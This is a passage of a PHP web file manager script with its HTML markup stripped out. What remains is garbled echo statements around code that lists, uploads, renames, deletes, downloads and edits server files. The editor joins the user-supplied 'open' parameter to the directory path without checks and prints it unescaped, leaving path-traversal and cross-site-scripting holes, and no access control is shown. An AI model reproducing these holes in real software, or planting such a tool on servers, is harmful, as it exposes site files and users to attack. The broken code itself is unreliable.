📂 File Manager: {$cwd}"; echo "⬅ Back

"; // Upload Form echo "
"; // New Folder Form echo "

"; // -------------------------------------------------- // Table of Files and Folders // -------------------------------------------------- echo ""; foreach ($items as $entry) { if (in_array($entry, ['.', '..'])) continue; $fullPath = $cwd . '/' . $entry; echo ""; } echo "
NameActions
"; if (is_dir($fullPath)) { echo "📁 {$entry}"; } else { echo "📄 {$entry}"; } echo ""; // Rename echo "
"; // Delete echo " 🗑 Delete"; // File-only options if (is_file($fullPath)) { $relative = str_replace($_SERVER['DOCUMENT_ROOT'], '', $fullPath); echo " | ⬇ Download"; echo " | ✏ Edit"; } echo "
"; // -------------------------------------------------- // File Editor Section // -------------------------------------------------- if (!empty($_GET['open'])) { $fileToEdit = $cwd . '/' . $_GET['open']; if (is_file($fileToEdit) && is_readable($fileToEdit)) { $contents = htmlspecialchars(file_get_contents($fileToEdit)); echo "

Editing: {$_GET['open']}

"; echo "

"; } else { echo "

❌ Unable to open file.

"; } } ?>